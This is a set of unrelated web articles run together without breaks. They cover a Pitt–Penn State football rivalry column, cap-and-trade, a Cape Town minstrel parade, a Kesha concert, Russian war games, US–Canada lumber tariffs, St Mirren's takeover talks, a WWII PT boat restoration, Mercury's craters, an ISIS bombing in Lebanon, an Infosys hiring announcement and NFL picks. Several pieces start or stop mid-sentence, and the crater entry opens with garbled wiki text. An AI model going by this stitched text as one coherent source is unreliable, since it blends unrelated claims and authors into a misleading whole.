Sure, it's got a sponsored name and logo now. Sure, the players on both sides were in most cases too young to remember anything from the last game. And sure, the coaches from that 2000 contest are both long gone.
But it's still Pitt-Penn State.
I'll listen to the argument that the game isn't a rivalry game right now. After all, when you go nearly two decades since playing, it lessens things to some degree. Since that time, Penn State has been playing the likes of Ohio State, Michigan, and others in the Big Ten. In the meantime, Pitt focused on the Backyard Brawl with West Virginia until that series disbanded. The Panthers have changed conferences and have also been playing former Big East rivals, such as Virginia Tech, while also still regularly facing Notre Dame.
Both programs have moved on, to say the least. But if you don't think the game means much, I'd encourage you to think again.
The two programs haven't played on the field in some time but you wouldn't think that from the actions of relatively new head coaches in Pat Narduzzi and James Franklin. The two coaching staffs have sparred on Twitter, fought for recruits, and taken subtle jabs against each other. Photo ops that wouldn't typically draw much attention have blown up with fans. And even former Pitt coach Dave Wannstedt has ribbed Franklin a bit in his new job as a commentator.
Back in May, Pitt was announced by Vegas to be not only favored in the game, but by more than a touchdown. That set off another strong reaction from Penn State fans and the arguments started all over again.
Fast forward to this season when tickets went on sale. The Panthers have sold out of their season tickets for the year and obviously, the Penn State game had quite a bit to do with that. With the new capacity at Heinz Field, Pitt also set a new record for ticket sales. The reaction? The two fan bases have even bickered over just how many Nittany Lions fans will be in attendance for that contest.
Those tickets, by the way, are a hot commodity. On StubHub, standing room only tickets are selling in the $100 - $175 range. Contrast that to Pitt tickets for other non-conference games, which can often be had in the upper deck (with a seat and everything) for as little as $10. Even tickets against significantly better teams can usually be purchased for only a little more simply because the Panthers rarely sell out games.
This rivalry clearly means a lot to fans on both sides and to say otherwise is the height of insanity.
There's national attention, too. Neither team is likely to be a championship contender for even their own conference this season (Sorry, Pitt fans - the ACC seems out of reach right now) but the game was quickly picked up by ESPN for broadcasting to a national audience. And for now, neither is even ranked. Plus, as ESPN said earlier this year, much is on the line for both programs. It's clear that this rivalry, while on pause, has not been forgotten.
Finally, on a recruiting level, the game is huge. The Panthers need to make up ground against Penn State in the battle for both kids and while a loss Saturday wouldn't deal a fatal blow to Narduzzi's recruiting, it wouldn't help matters. Pitt needs to win a game like this to make selling the coach's vision a bit easier.
I've always been on the side that said this is a game that should be played every year. Sure, West Virginia is a key rival for Pitt but I believe that Penn State tops even that. That, by the way, is a sentiment that's been echoed over and over again by athletics director Scott Barnes, who has always said the top priority for Pitt is to play Penn State whenever possible. Now, the Nittany Lions are in no rush to line up against the Panthers. Currently, they haven't expressed much desire in extending the series beyond the four games under contract.
But to me, it's important for both sides. In the Big Ten, Penn State is really without a top rival with Michigan's and Ohio State's concentration fixed on each other. Now, I'll let the Penn State fans talk up the program's'recent' dominance in the series. But my response would be that playing Pitt means a lot more than facing the likes of Temple, Toledo, etc. - at least it should. Similarly, playing Penn State over teams like Villanova and Florida International is a more attractive proposition for Pitt.
The benefit to the Panthers is a little more clear cut. Not only does Penn State give them a prime rivalry game, but a game against the Nittany Lions, as we've seen this year, fixes an abundance of ticket sales woes. Pitt still needs to entice fans to show up when the team isn't winning but having Penn State on the home schedule should equate to a season ticket sellout every year. As I covered at length in the past, winning more games does wonders for Pitt's ticket sales. Fans may not particularly want to hear that, but it's the reality of the situation. And Pitt starts winning more, having a home game against Penn State is the next best remedy for that problem.
Beyond all of that, it's a big rivalry game which fans of both sides can benefit from. From the standpoint of both teams, it means a lot when neither team is highly regarded. If you're not going to be compete for a title, you might as well give fans as many reasons to stay engaged as possible. A 6-6 team might have a hard time keeping fans interested. But if you add a rivalry game to that mix, suddenly, there's a bit more there.
Plus, I find it difficult to believe that fans of both sides would rather face another FBS opponent with no ties to the program (or worse yet, an FCS team) than play their rival. The questions about 8-game vs. 9-game conference schedules are there and I also understand the desire for a few tune-up games before the conference play gets underway. But if there's one game that should be repeated on an annual basis, it's probably this one.
If the Nittany Lions are unwilling to oblige, at the very least, some sort of rotation that would enable Pitt to play either Penn State or West Virginia every season would be just as nice.
It's been a long time since these teams have played but it's clear that there's not much love lost. Despite what Penn State athletics director Sandy Barbour may argue, rivalry games are what college football is about.
Be sure to join Cardiac Hill's Facebook page and follow us on Twitter@PittPantherBlog for our regular updates on Pitt athletics. Follow the author and founder/editor @AnsonWhaley.ERP mobility is the latest trend to keep your business on the right track. If you are using ERP Solutions then you are just on the halfway mark towards your success. ERP solutions help you to run your business in the most effective manner, irrespective of the size of your business.
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jurisdictions, the province says, have seen gains from similar systems. In British Columbia, five years after a carbon price was first implemented, fossil fuel use had decreased by 17 per cent and the economy remained strong, according to the Ministry of the Environment and Climate Change.
3. What are 'free permits'?
Some free permits are given to companies by governments, usually to those in sectors that could suffer from competitors in jurisdictions without cap and trade. The free permits are aimed at ensuring companies won't face a competitive disadvantage that could force them to relocate to a cap-and-trade-free zone.
Quebec's aluminum producers, for example, have been given free permits, as have two oil refineries in the province.
4. Can companies profit under cap-and-trade?
Yes.
Ideally, industries can plan ahead under a cap-and-trade system. Each year, the cap creeps down on a gradual and predictable schedule. Relatively low-cost emissions cuts that increase efficiency allow companies to profit by selling cap room to companies that have more difficulty reducing emissions.
5. A small part of cap-and-trade.
In the U.S., the Environmental Protection Agency has found that trading permits is generally only a small component of how companies are attempting to meet emissions limits.
In fact, the largest polluters have chosen instead to significantly reduce their emissions before buying allowances from other sources.Kaapse Klopse, Tweede Nuwe Jaar, whatever you may call it, has to be one of the most incredible experiences you can witness on South African soil. The Kaapse Klopse parade has never been a huge event in my calendar because I’ve always lived in Johannesburg so it was by a series of random events that I ended up attending the 2017 celebration.
Below is a series of an image of one particular Cape Minstrel who had me captivated as he twirled up the street not stopping to catch his breathe for even a moment.
The Kaapse Klopse parade is an all out assault on your senses. It’s the sound that reaches you first, the sound of hundreds of people beating drums, blowing on brass instruments and shaking tambourines…and then comes the colours.
The little drummer boy.
Every person who takes part in the celebration is dressed in beautiful costumes made from brightly coloured material, while most of the ‘klopse’ members have their faces painted in incredibly detailed patterns. It’s quite something to stand in the middle of the road as hundreds of people swarm around you, playing instruments, dancing, gyrating and celebrating their history, words truly cannot explain the energy given off my each troupe as they move through Cape Town.
If you haven’t had a chance to watch this rather beautiful celebration of life and culture in Cape Town I’d really recommend you take the time to do so in 2018…and if you live in Cape Town you have no excuse not to go! To learn more about the history of the parade click here.If anyone knows this, it's Kesha... All you really need to throw a killer party is a dive bar, confetti, whipped cream, and fake blood! Add a tornado watch into the mix so you feel like you're living dangerously-- and, there you have it-- one hell of a night!
Christmas came a little early for local Kesha fans (AKA animals), when the glitter queen herself came out to play a secret show at Springwater Supperclub and Lounge in Nashville on Christmas Eve Eve... with her band of friends she calls The Yeast Infection.
During a stripped-down, no-frills set, Kesha gave her massive hits a rock n roll edge, and delivered an equally intimate and electrifying performance!
In the heat of all the headlines, it was so refreshing to see Kesha doing exactly what she loves to do... She sang her music the way she wanted to sing it, danced how she wanted to dance, and expressed herself exactly how she wanted to in the moment!
Shoutout to Heinous Orca for opening up and getting that crowd live in there!
THE YEAST INFECTION - SETLIST
WE R WHO WE R
DIRTY LOVE
YOUR LOVE IS MY DRUG
BLOW
WHOLE LOTTA LOVE (LED ZEPPELIN COVER)
CANNIBAL
TIK TOK
TIMBER
Photo credit: Alanna Taylor
Read more: The Tennessean
HAPPY HOLLERDAYZ from Y E A S T I N F E C T I O N!!! I love all of my ANIMALS!!! Thanks for all of the support this year!!!....Don't worry NO ONE will ever shut me up. Posted by Kesha on Friday, December 25, 2015
love this 💜💖✨ @iiswhoiis #springwater #nashville #theyeastinfection #secretshow A photo posted by KAR POW 👽 (@karliesuxx) on Dec 24, 2015 at 12:08pm PSTGetty Images
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SCAREMONGERING is where defence-planning and politics overlap. Big military exercises in western Russia and Belarus, which finished earlier this month, were based on the following improbable scenario: ethnic Poles in western Belarus rise up and “terrorists” from Lithuania attack the Russian exclave of Kaliningrad. More than 10,000 troops from Russia and Belarus countered them, reinforcing Kaliningrad from the sea and sending special forces behind the enemy lines. Three NATO–like brigades, one visiting, one Estonian and one Latvian, then invaded western Russia, where they were successfully rebuffed by the elite Pskov-based 76th air assault division, reinforced by a motorised rifle brigade.
Military exercises need a notional enemy and, from Russia's point of view, NATO is the obvious choice. Because the alliance has expanded to Russia's borders, taking in a dozen ex-communist members over strenuous protests from the Kremlin, it is all the more desirable to send a strong signal. What is more, Western countries have been urging (and helping) Russia's military forces to become more professional. That requires practice drills.
The main aim of the Russian exercises may indeed have been to measure progress on military reform, particularly the creation of more Western-style autonomous brigades. And, plainly, Russia is neither willing nor able to fight a real war with NATO. Yet the war-games look alarming to neighbours. They recall that the war in Georgia in August 2008 followed many years of exercises, and they point out that NATO has no formal contingency plans to defend its vulnerable Baltic members. Nor has the alliance held land drills on the territory of any of its new members. Indeed, until two years ago NATO's threat assessments explicitly discounted the idea of conflict with Russia.
Russia faces many security problems within its borders, and its armed forces are still rusty. It is hard to see why preparing for an implausible armed attack from the West should be a priority; these days America and its allies have little time to rehearse big-war manoeuvres because their soldiers are too busy fighting, or training to fight, insurgencies in Iraq and Afghanistan. Similarly, the idea of Lithuanian-based “terrorists” invading Russia is risible.
Western military analysts have noted Russia's use of destroyers and landing craft from the Black Sea and Northern Fleets to back up its feeble Baltic-based naval forces. They also noted the deployment of Russia's most advanced S-400 air defence system in Belarus and a parallel drill conducted by the Strategic Rocket Forces, the guardians of the Kremlin's nuclear arsenal. “The scope of the exercises, the weaponry used, the troops involved and the scenarios rehearsed all indicate unequivocally that Russia is actually rehearsing a full-scale conventional strategic military operation against a conventional opponent,” says a report by Kaarel Kaas, an analyst at an Estonian security think-tank, the International Centre for Defence Studies.
Dividing the exercise into a northern war-game (called Ladoga) and a southern one (Zapad-09) brought each below the 13,000-troop threshold at which Russia is obliged to invite outside observers. Some neighbouring countries were not able to monitor the manoeuvres (Lithuania, with a handful of observers in Belarus, was an exception). That does not build confidence.
From what outsiders can gather, the performance of Russian forces was patchy. A joint Belarusian-Russian headquarters worked poorly. Drones—a big feature of Western armies—seem to have been used mainly for show. Moving large numbers of troops and equipment around, a weakness during Russia's war in Georgia, took too long.
Polish, Baltic and other officials will meet in Warsaw shortly to discuss the significance of the exercises. NATO will assess them next month. America certainly took careful notes: the USS Cole, a guided-missile destroyer, visited Estonia. NATO warplanes mounted a modest air exercise. A planned exercise in the Baltic states next year is likely to be beefed up, perhaps with the involvement of part of NATO's new mobile Response Force.
Russia's armed forces may be ramshackle, but many European members of NATO are in poor shape too. The alliance's ability to defend the Baltic states depends almost wholly on American involvement. NATO hawks complain that members such as Germany and Italy are blocking attempts to draw up formal contingency plans for all its members—something that President Barack Obama has demanded. The doves retort that NATO's Article 5, which says that an attack on one member is an attack on the whole alliance, is deterrent enough; new members who question its worth are hurting their own cause.
Yet easterners are raising their voices in talks about NATO's new “strategic concept”, a document to define its purpose that will be adopted next year. With NATO focused mostly on the fighting in Afghanistan, they want a clear statement that old-fashioned collective defence of NATO territory is still a priority. Only that, they say, will convince their voters that, with Russia flexing its muscles nearby, sending troops to Afghanistan is worth it.The Australian housing market could run into a shortage of apartments, leaving many renters in the lurch in the long run, property research group BIS Shrapnel warns.
Rising house prices have attracted investors into the market, driving the supply of apartments for the past four years, managing director Robert Mellor said at the business forecasting conference on Wednesday.
But when prices start to cool – and BIS anticipates a much cooler price movement of between -2 per cent to 3 per cent in the next five years – investors may withdraw, taking supply with them.
By 2018, Queensland is forecast to have had a 70 per cent decline in new high-density construction since its peak level in 2015/2016. Danny Watkins / EyeEm
This could result in a different kind of boom-bust cycle in the long-term – beyond 5 years – because high prices in places like Sydney and Melbourne have produced many new renters – those who can no longer afford to buy a home and have come to rely on rental apartments.
High density development has already started to fall after reaching an all-time high in 2015 and 2016 with forecasts of further heavy declines expected.Shots fired:
“It has been a bad week for U.S.-Canada trade relations [US trade secretary Wilbur Ross said in a statement this evening]. Last Monday, it became apparent that Canada intends to effectively cut off the last dairy products being exported from the United States. Today, in a different matter, the Department of Commerce determined a need to impose countervailing duties of roughly one billion dollars on Canadian softwood lumber exports to us. This is not our idea of a properly functioning Free Trade Agreement.”
Chrystia Freeland and Jim Carr were quick to reply:
“The Government of Canada disagrees strongly with the U.S. Department of Commerce’s decision to impose an unfair and punitive duty. The accusations are baseless and unfounded…The Government of Canada will vigorously defend the interests of the Canadian softwood lumber industry, including through litigation.“
It started with such promise, too. When Justin Trudeau visited the White House on Feb. 13, the longstanding softwood lumber dispute with the Americans came up — and in an interesting way. I was told some time ago by a source familiar with the discussions that at some point, Donald Trump became interested in knowing how his budding relationship with Trudeau compared to Barack Obama’s. Trudeau was circumspect. I did have a good working relationship with President Obama, the prime minister said, approximately. But you know one thing he was never in a position to deliver on? Softwood lumber.
Hint, dropped. And reinforced, in a followup call ten days later. The hint seems to have been taken: some Canadians who’ve worked with both the Obama and Trump administrations on the softwood lumber dispute believes that until this week, the discussions were more substantive with the current administration than with its predecessor.
So what happened? Two things, perhaps. First, Trump has been having a lousy time on trade, which was one of the two or three top issues that got him elected. He can’t get his nominee for chief trade representative, Robert Lighthizer, confirmed. He hasn’t been able to formally start the 90-day process toward a NAFTA renegotiation. He’s backed down on a trade fight with China, which is the fight some Trump aides entered politics to wage (if you have some time, check out this astonishing documentary by Peter Navarro, now a trade advisor to Trump).
What’s left? I’m told that at 1:46 p.m. on Monday, Fox News carried an interview with a Wisconsin dairy farmer who has hit hard times and blames Canada. The President was watching, and was greatly displeased. Coming as it did on the heels of Trump’s visit last week to the Snap-On Tools plant in Kenosha, the Fox News story egged the President on in his growing suspicion that Canada, far from being cuddly and Ivanka-friendly, is actually a marauding border-squatting trade succubus.
The relationship has come so far, so fast. Only three days after Trump’s inauguration, his informal economic advisor Stephen Schwarzman was in Calgary briefing the Trudeau cabinet on bilateral affairs. In remarks to reporters, Schwarzman was full of sunshine. “One of the important things is the unusually positive view that’s held of Canada,” he said. “Canada’s been a great partner of the United States for as long as anybody can remember.” Trump’s arrival might portend “a changed climate, maybe some modifications,” Schwarzman said. But “basically things should go well for Canada.”
READ MORE: Donald Trump flops and flubs and goes after Canada
And now? The 20 per cent tariff that seems about to hit Canadian lumber exports to the U.S. is neither unexpected, I’m told, nor out of line with earlier U.S. tactics during this interminable dispute. And Canadian officials continue to talk regularly with their U.S. counterparts at senior levels. It’s not inconceivable there could be an agreement within weeks, the Canadians believe.
But Canadian officials cannot discern any consistency in the Trump administration’s tone from day to day. If prospects of an agreement fade, the Trudeau government, finding itself in a fight, may decide to push back. I can detect no sign of a rush to get to that point.
The prime minister won’t have to spend much time wondering what business leaders think he should do. He had already scheduled a lunch meeting on Tuesday in Kitchener with the Business Council (formerly Canadian Council of Chief Executives, formerly Business Council on National Issues), the blue-chip CEO group led by former Liberal cabinet minister John Manley. They may be able to help him gauge next steps. Surely, even at this late hour, Trudeau still hopes the storm will blow over.Gary Teale admits a takeover bid from the South Americans could be good for the Paisley side.
SNSGroup
Interim manager Gary Teale has revealed he met with the Argentinian consortium that's interested in taking over St Mirren.
The Argentine group, who were looking into buying Motherwell just last week, has now turned its attention to the Paisley side.
And, the caretaker manager thinks the investment could be a good move for the club.
"I met with them yesterday because they were about the club and had a good chat with them there, but I don't know how far down the line they are," he said.
The four South American men have been weighing up their options at a number of clubs across Europe.
Teale says a new buyer, for the club that's been up for sale for five years now, could have have a long-term impact on results.
"The club's never been in the top six, we've always maybe flirted with tying to get there but we've never been better than eighth," he continued.
SNSGroup
(Consultant Neil Murray (left) drives out of St Mirren Park alongside Argentinian businessman Ricardo Pini.)
"Fresh investment, new ideas, everything else, might just bridge that gap that's maybe been a wee bit too far in this moment in time.
"If somebody else comes in, puts a bit of investment into the club and wants to take the club further then it can only be a positive thing for everybody concerned."
Gary Teale: Jim Goodwin's step back will help his discipline
Jim Goodwin reverted back to a full-time playing role after Tommy Craig left the club but his new interim boss believes it's a move that could help him.
Gary Teale says the player has acknowledged his discipline problem and thinks he will mature from stepping back from his coaching position.
He also added that he has no problems with the player and there are no hard feelings between them.
Interim boss Gary Teale admits he'd use Tommy Craig as a mentor
After stepping into his managerial shoes, interim boss Gary Teale admitted he would happily go back to Tommy Craig for help and advice.
He was number two to the former boss, alongside Jim Goodwin, in a playing/coaching role for the first half of the season but temporarily replaced him in the hot seat last week.
Teale says he'd have no problems using Craig as a mentor because he has experience and knowledge worth sharing.
The former Scotland internationalist also said he has been actively looking at players to bring in when the January transfer window opens.The Doncaster rail line – all but promised by the Coalition before the 2010 election – is another 15 years away from being built, a Napthine government study has found.
Government authority Public Transport Victoria also predicts the railway line would prompt just 2 per cent of motorists to switch from cars to trains, even though the line would service one of the most car-dependent parts of Melbourne.
About 56,000 passengers a day would use the line by 2031, PTV predicts.
In the meantime, work will be done to give residents of Melbourne's north-east better bus services in and out of the city.
The authority also said it would investigate ways to build the Doncaster rail line for less than the $3 billion to $5 billion suggested in a feasibility study.Restoration
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Applying Czekanski's operability ethos to a boat, the goal for PT-305 was always for everything besides the weapons to be fully operational and era-appropriate. "I made the directive that the boat needed to run full speed without any quibbling about anything," Czekanski says. "No, 'well, it can run full speed for 10 minutes'—we’re putting a lot of time and money in it."
Like any museum, time and funds are limited for the WWII museum. Each year, Czekanski, his colleagues, and a legion of volunteers would work within time and funding constraints in the name of slow and steady progress. Certain things had to be done earlier, like starting the restoration of that 13 feet of boat lost during oyster seeding, for instance (that effort spanned fall 2010 to fall 2014). By the end, more than 200 volunteers—including some genuine WWII veterans in the early days—pitched in across the effort's 10 years. The sheer numbers of supplies involved alone are staggering: 10,000 board feet of mahogany, 3,000 board feet of cypress, 39,000 copper rivets, three miles of caulked seam, 300 gallons of paint, and more.
Last summer, Czekanski showed Ars nine years of progress at the WWII museum's on-site restoration facilities. The first thing we asked was what kind of shape they received PT-305 in:
"Oh, horrible," Czekanski quickly replies. "When she went down to Galveston, the guys working on her had limited resources, but they did accomplish one big thing that helped us. When the boat became an oyster seeder, first time she went out with a load of shells on her she started to tip, started to tip some more, and everyone thought it was going to roll. The crew all jumps off, all the shells fell off the deck, and she pops up. Right after that, the oyster crew got a bunch of scrap on her to balance it out, lower the center of gravity. That eventually rusted up into a solid mass. The guys in Galveston got in there with picks and got that out before we picked it up, but the deck was in such a state that we brought her in by land, she was in no state to come by water. I was in the tail car, and every time we hit a bump a cloud of dust and splinters would fly in front of me."
The museum crossed small milestone after small milestone through the years. The first big step was acquiring the proper engines in late 2007. The original engines were replaced during the war, but PT-305 boasts the original style (Packard marines, not diesel) engines today. Back in 2007, Czekanski and company found a guy in Illinois who had bought a government surplus warehouse in the 1970s. The man had been using v12 Packard marine engines, about 1,400 horsepower according to Czekanski, for tractor pulls. In total, the man donated more than $500,000 worth of Packard parts "including engines, carburetors, and many other crucial contributions," according to the museum. Some materials were still in original WWII wrapping.
"We rented an 18-wheeler, parked it on his property, and he went around and loaded up the trailer to send it down," Czekanski says. "Some of the engines had probably been bad since the 1970s, and it would’ve been tough to get this done in any case. But what was lucky was he had stock parts left over—not only did he give engines, but he sent us 1,000 spark plugs."
For another Herculean contribution, look to PT-305's exhaust ports. Czekanski simply describes these aspects of the ship as valves that exhaust into the water for silent running or "you open 'em up and blow." "Most people chuck these at some point when you renovate PT boats," Czekanski says. "305 didn’t have 'em. PT-308 did, but it was in the worst shape [of boats we tracked] and actually sank at a dock. So we sent a salvage group who found five out of six of these."
The museum could never find a sixth of these bronze artifacts nowadays. Czekanski says just to cast the unique pattern would've been $15,000 easily. "Luckily, we found a machinist in Lafayette," he says. This represented one of more than 100 companies (many in Louisiana) that donated time, parts, and labor to handle everything from making exhaust valves to testing engines. "We loaned him one, he made a concrete model, formed this outer space by pounding a piece of stainless steel into the mold, then welded the pieces in," Czekanski says.
Among some of the other notable modifications completed at the WWII museum, the team upgraded the boat's power to ensure smooth sailing in modern passenger rides. Originally, PT-305 depended on a 24-volt DC system, according to Czekanski, "now we have shore power and generators on top of a 24-volt system." Today, the boat's analog gauges are supplemented with digital sensors, and its basic controls—a throttle to go forward, backward, or remain neutral—sit alongside a new control system with electronic interfaces monitoring engines.
Once a Jerk, always a jerk
Big ideas have been tossed around for how to use a newly sea-ready PT-305—everything from visits back to the Mediterranean to traveling the entirety of the Mississippi and its tributaries. But for now the old ship will stay close to home. Last fall, PT-305 finally left the restoration warehouse at the WWII museum. It navigated the tight streets of New Orleans' central business district, entered the Erato Street wharf, then traveled up the Mississippi to its new home via tugboat. After a few months of final preparation and testing, PT-305 officially opens for business at the nearby shores of Lake Pontchartrain this Saturday, April 1. Anyone interested in the soon-to-be weekly Saturday ride can buy tickets ($350 for a 90-minute experience through the museum website), and 45-minute deck tours will be available for $12 to $15 throughout the week.
But a few weeks earlier, the USS Sudden Jerk had its actual maiden (re)voyage. On March 16, local media, volunteers, museum staff, and PT-305's new crew gathered to rededicate the ship and take a preview ride. One surviving member of the crews who served on the PT-305 and a man who served on a sister boat, PT-308, were also scheduled for visits before the public opening, according to Stars and Stripes, a decades-old publication focusing on all things US military.
New captain George Benedetto told the magazine that PT-305 ran like a thoroughbred, and Czekanski added he's not sure how many times he'll ride before the feeling gets old. (Last summer, Czekanski told Ars that the restoration of PT-305 "will be among my favorites. It’s going to be really exciting to see this in operation.") It's not hard to share their enthusiasm considering the immense effort it took to get PT-305 to this moment—being one of four combat-veteran PT boats still in existence and the only one to operate, according to the museum. And perhaps best of all, the vessel reportedly stayed true to its character after all these years. To close its inaugural ride, one of the engines stuck on a bit too long, and the preview ended "more abruptly than anticipated, as the 1943 patrol-torpedo boat bumped brusquely into its berth," according to the local paper. Still a jerk after all these years, but quite a remarkable one at least.only official names approved by the [1] This article should listofficial names approved by the International Astronomical Union (IAU).
This is a list of named craters on Mercury, the innermost planet of the Solar System (for other features, see list of geological features on Mercury).[2] Most Mercurian craters are named after famous writers, artists and composers. According to the rules by IAU's Working Group for Planetary System Nomenclature, all new craters must be named after an artist that was famous for more than fifty years, and dead for more than three years, before the date they are named.[6] Craters larger than 250 km in diameter are referred to as "basins" (also see § Terminology).[7][8]
As of 2017, there are 397 named Mercurian craters,[2] a small fraction of the total number of named Solar System craters, most of which are lunar, Martian and Venerian craters.[3][4][5][a]
Other, non-planetary bodies with numerous named craters include Callisto (141), Ganymede (131), Rhea (128), Vesta (90), Ceres (90), Dione (73), Iapetus (58), Enceladus (53), Tethys (50) and Europa (41). For a full list, see List of craters in the Solar System.
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As on the Moon and Mars, sequences of craters and basins of differing relative ages provide the best means of establishing stratigraphic order on Mercury.[11][12][13] Overlap relations among many large mercurian craters and basins are clearer than those on the Moon. Therefore, as this map shows, we can build up many local stratigraphic columns involving both crater or basin materials and nearby plains materials.
Over all of Mercury, the crispness of crater rims and the morphology of their walls, central peaks, ejecta deposits, and secondary-crater fields have undergone systematic changes with time. The youngest craters or basins in a local stratigraphic sequence have the sharpest, crispest appearance. The oldest craters consist only of shallow depressions with slightly raised, rounded rims, some incomplete. On this basis, five age categories of craters and basins have been mapped; the characteristics of each are listed in the explanation. In addition, secondary crater fields are preserved around proportionally far more craters and basins on Mercury than on the Moon or Mars, and are particularly useful in determining overlap relations and degree of modification.
Because only limited photographic evidence was available from Mariner 10's three flybys of the planet, these divisions are often tentative. The five crater groups, from youngest to oldest, are:
c5: Fresh-appearing, sharp-rimmed, rayed craters. Highest albedo in map area; haloes and rays may extend many crater diameters from rim crests. Superposed on all other map units. Generally smaller and fewer than older craters.
c4: Fresh but slightly modified craters—Similar in morphology to c5 craters but without bright haloes or rays; sharp rim crests; continuous ejecta blankets; very few superposed secondary craters. Floors consist of crater or smooth plains materials.
c3: Modified craters—Rim crest continuous but slightly rounded and subdued. Ejecta blanket generally less extensive than those of younger craters of similar size. Superposed craters and rays common; smooth plains and intermediate plains materials cover floors of many craters. Central peaks more common than in c4 craters, probably because of larger average size of c3 craters.
c2: Subdued craters—Low-rimmed, relatively shallow craters, many with discontinuous rim crests. Floors covered by smooth plains and intermediate plains materials. Crater density of ejecta blankets similar to that of intermediate plains material.
c1 Degraded craters—Similar to c2 crater material but more deteriorated; many superposed craters.
See also [ edit ]
Note [ edit ]
a b The total number of features also includes names that have been dropped or not yet unapproved by IAU's Working Group for Planetary System Nomenclature (WGPSN)
References [ edit ]On Monday, June 27, just before the break of day, figures approached the sleepy border village of al-Qaa, a predominantly Christian community in northeast Lebanon.
The streets were slowly beginning their morning bustle as residents shook off a lazy weekend and resumed their business. Not far from a group of homes, a blast suddenly shook the town awake. Three more blasts followed shortly after the first. The intruders had detonated themselves, killing five and injuring 15 others.
On the evening of the same day, as family members and neighbors gathered outside a historic church to mourn the victims of the morning’s attack, two assailants riding a motorcycle threw a grenade at the crowd and then detonated their own suicide vests. Another 13 were wounded.
In all there were eight suicide bombings that day alone.
While no particular organization has claimed responsibility for the attack, nearly all experts believe it was carried out by ISIS fighters who infiltrated al-Qaa from nearby Syria. It is also a commonly known fact that in Lebanon’s sprawling refugee camps some ISIS fighters have found refuge for their families. Their jihad -- in effect -- subsidized by the disorganization of the international community.
Make no mistake, the targeted village for one reason: it is Christian.
This brazen attack demonstrates that ISIS remains particularly attracted to Christian blood. Of all the places they could have targeted, they chose this Christian village. It was as high a priority target to them as the airports in Brussels or Istanbul.
This incident is a sober reminder that ISIS, though having lost control of Fallujah in Iraq last Sunday, is still determined to carry on its ‘holy war’ against Christians. And while ISIS has accrued a horde of enemies along its path of destruction, Christians remain at the top of the terrorist group’s hit list.
The persecution Christians are facing under ISIS is, simply put, unprecedented, but it also goes far beyond the so-called Islamic State.
The largely unreported attacks of the ISIS-affiliated Boko Haram in Northern Nigeria have almost always targeted Christian communities. Boko Haram killed more people than even ISIS in 2014 even as the Islamic State marched victoriously across Iraq and Syria, capturing a contiguous piece of land larger than the United Kingdom.
It is becoming impossible for Christians to live without fear in almost all of the Middle East, and now even in the historic, Christian enclave of Lebanon. They now face similar concerns in much of Africa.
Governments all around the world have now declared ISIS guilty of a Christian genocide -- unanimously in the U.S. Congress and the UK Parliament -- and pressure is growing for the United Nations to do the same.
Yet, we must not let these powerful declarations be confined to symbolism. Now, those governments which have declared genocide must act upon their declarations, and that action begins with providing special assistance to those communities which face a special threat.
Is it not more immoral to declare a genocide and then to choose to do nothing than it would have been to not declare it all?Infosys to open new RI office with 500 jobs Copyright by WPRI - All rights reserved Video
PROVIDENCE, R.I. (WPRI) - Software giant Infosys plans to open a new office in Rhode Island that is expected to bring 500 jobs to the state by 2022, Gov. Gina Raimondo announced Monday.
The Providence office, dubbed a Design and Innovation Hub, "will enhance our ability to provide design-driven, digital technologies across the country and enable breakthrough innovations at the intersection of industry and design for our clients," Infosys President Ravi Kumar said.
He also said Rhode Island's "educational institutions, design-rich environment, and economic development tools positioned Rhode Island competitively for this type of specialized partnership."
Kumar said hiring for the new jobs will begin immediately, and the location of the new office will be determined "shortly." The company already employs roughly 300 to 400 people in Rhode Island, most of whom work with Citizens Bank, and the new jobs will be in addition to those, he said.
"I am absolutely sure this is going to be just a starting point," Kumar added.
Infosys President Ravi Kumar discussing new RI office. Says Gov won over 2 of his board members over a dinner in NY. pic.twitter.com/qEuHWjmrl5 - Ted Nesi (@TedNesi) November 27, 2017
Raimondo, Kumar and other officials made the announcement during a news conference at the Providence Public Library. State leaders cast the move as part of a wave of good economic news for Rhode Island, following Virgin Pulse's recent decision to make Providence its global headquarters.
"I think word is getting around that Rhode Island is open for business, and these are the exact companies that we're looking to locate here and the exact jobs we're looking to bring to Rhode Island," Senate President Dominick Ruggerio said. He said he was pleased CCRI graduates will be targeted for some of the Infosys jobs.
Infosys will be eligible for state incentives in exchange for its job commitment. Commerce Secretary Stefan Pryor estimated the incentives will total about $10 million through three programs - Qualified Jobs Incentive Tax Credits, Rebuild Rhode Island, and the First Wave Closing Fund - but said the transaction will still be revenue-positive for the state.
Infosys is one of India's biggest tech firms and a major name in technology, but it has come under criticism for its role in outsourcing and its use of immigration visas. Reportedly under pressure from the Trump administration, the company in May announced plans to hire 10,000 Americans over the next two years. R.I. Republican Party Chairman Brandon Bell argued state leaders should praise the president for putting pressure on the company.
"Without the Trump administration's efforts, Infosys would not be bringing jobs to Rhode Island," Bell said in a statement. "Raimondo likes to blame President Trump for Rhode Island's failures under her leadership. Maybe Raimondo can give at least some credit to President Trump for these new Rhode Island jobs."
But Kumar insisted to reporters that Trump's influence was not a crucial factor, saying the company has been experimenting with an increased U.S. presence to better partner with clients. "For the last two years we've been working on scaling this program," he said.
As part of the effort, Infosys announced last spring it would establish four new Technology and Innovation Hubs in cities across the country. The first two have been set up in Indiana and North Carolina, each targeted at 2,000 jobs. Local news outlets have reported those states approved $31 million and $25 million, respectively, in incentives for Infosys.
Infosys said the new hires in Rhode Island will focus on figuring out the future of "the digital experience." They "will include experienced designers, design architects, specialists in information design and technical experts to accelerate the digital transformation of Infosys' clients," as well as an effort "to nurture specialist design talent at scale."
"We want to take Rhode Island to the world, by making this a hub for experience, a hub for digital experience, which will be a pivot for transformation for all large corporations," Kumar said, adding that he was also willing to serve as an ambassador for the state to other companies.
"These are jobs at every level," Raimondo said. "They hire folks with a college degree, and folks without a college degree. Folks with a credential, folks with a Ph.D. in engineering, and they're planning to train - that's what Infos |
s – Wait, Alshon Jeffery just carved up the Broncos D this past weekend, so why can’t Brandin Cooks? Easy answer, because that was an anomaly. Yes, Belichick after a bye week always finds ways to feed his playmakers, and yes, Cooks is one of the most talented receivers in the game. However, Denver’s secondary is still the second most talented unit in the league behind only the Jaguars. No matter where Cooks lines up, he’ll find himself against the talented trio of Chris Harris, Aqib Talib, and Bradley Roby, which makes for a long day, even for some of the best receivers. Add in the fact that Cooks hasn’t topped 100 yards in a game since week 3, and I’m not sure there can be much optimism with this matchup.
Game Predictions:
NYJ 27, Tampa Bay 20
New Orleans 26, Buffalo 24
New England 23, Denver 16
Carolina 20, Miami 13
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AFC West Preview – Anthony Zaragoza @ZaragozaAnthony
What We Learned From Last Week:
